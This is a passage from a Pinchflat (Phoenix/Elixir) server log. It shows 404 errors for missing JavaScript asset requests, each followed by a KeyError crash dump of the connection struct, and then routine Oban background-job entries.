"pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4195.0>, params: %{}, path_info: ["assets", "js", "auth"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/assets/js/auth.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVM4AASE2NAPtwAAYVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/auth.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/auth (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/auth.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4195.0>, params: %{}, path_info: ["assets", "js", "auth"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => (truncated) 14:22:32.436 [info] GET /assets/js/qr_modal.js 14:22:32.437 [debug] QUERY OK source="settings" db=0.5ms idle=696.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:32.437 [debug] QUERY OK source="settings" db=0.2ms idle=697.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:32.438 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:22:32.438 [error] #PID<0.4196.0> running PinchflatWeb.Endpoint (connection #PID<0.4190.0>, stream id 6) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /assets/js/qr_modal.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/qr_modal (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/qr_modal.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4196.0>, params: %{}, path_info: ["assets", "js", "qr_modal"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/assets/js/qr_modal.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVM4Alij6TYRMcAAYWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/qr_modal.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/qr_modal (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/qr_modal.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4196.0>, params: %{}, path_info: ["assets", "js", "qr_modal"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2> (truncated) 14:22:34.994 [info] GET /js/antibot-client.js 14:22:34.994 [debug] QUERY OK source="settings" db=0.1ms idle=1254.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:34.994 [debug] QUERY OK source="settings" db=0.0ms idle=1254.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:34.994 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:22:34.995 [error] #PID<0.4198.0> running PinchflatWeb.Endpoint (connection #PID<0.4190.0>, stream id 8) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /js/antibot-client.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/antibot-client (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/antibot-client.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4198.0>, params: %{}, path_info: ["js", "antibot-client"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/js/antibot-client.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVM4KHbWkaJsGQAAYXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/antibot-client.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/antibot-client (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/antibot-client.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4198.0>, params: %{}, path_info: ["js", "antibot-client"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], (truncated) 14:22:50.221 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.236 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:23:20.223 [info] {"source":"oban","duration":1950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:50.225 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.238 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:24:20.227 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:50.228 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.239 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:25:20.230 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:50.231 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.240 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:26:20.233 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:50.234 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.241 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:27:20.237 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:50.240 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.242 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:28:20.242 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:50.244 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.243 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:29:20.246 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:50.248 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.244 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:30:20.249 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:50.251 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.245 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:31:20.252 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:50.254 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.246 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:32:20.255 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:50.256 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.247 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:33:20.259 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:50.261 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.248 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:34:20.262 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:50.264 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.249 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:35:20.266 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:50.267 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.250 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:36:20.268 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:50.270 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.251 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:37:20.272 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:50.274 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.252 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:38:20.276 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:50.277 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.253 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:39:20.280 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:50.282 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.254 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:40:20.284 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:50.287 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.255 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:41:20.289 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:50.290 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.256 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:42:20.292 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:50.294 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.257 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:43:20.296 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:50.298 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.258 